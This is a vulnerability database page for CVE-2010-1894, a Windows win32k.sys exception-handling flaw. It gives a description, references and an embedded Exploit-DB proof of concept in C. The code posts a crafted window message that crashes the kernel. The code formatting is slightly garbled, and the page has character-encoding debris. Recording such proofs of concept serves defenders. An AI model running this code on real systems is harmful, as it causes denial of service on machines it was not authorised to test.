CVE-2010-1894
Description
The Windows kernel-mode drivers in win32k.sys in Microsoft Windows XP SP2 and SP3, and Windows Server 2003 SP2, do not properly handle unspecified exceptions, which allows local users to gain privileges via a crafted application, aka "Win32k Exception Handling Vulnerability."
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Windows - 'SfnLOGONNOTIFY' Privilege Escalation (MS10-048)
/*
source: https://www.securityfocus.com/bid/39630/info
Microsoft Windows is prone to a local privilege-escalation vulnerability.
A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.
Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue.
*/
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
getchar();
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
return 0;
)
Microsoft Windows XP/2000/2003 - 'win32k.sys' SfnLOGONNOTIFY Local kernel Denial of Service
OS impact
Windows Affected 2 releases
| Version | Status | Fixed in |
|---|---|---|
| - | Affected | โ |
| โ | Affected | โ |
References
- http://www.us-cert.gov/cas/techalerts/TA10-222A.html
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-048
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11769
- http://www.us-cert.gov/cas/techalerts/TA10-222A.html
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-048
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11769
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.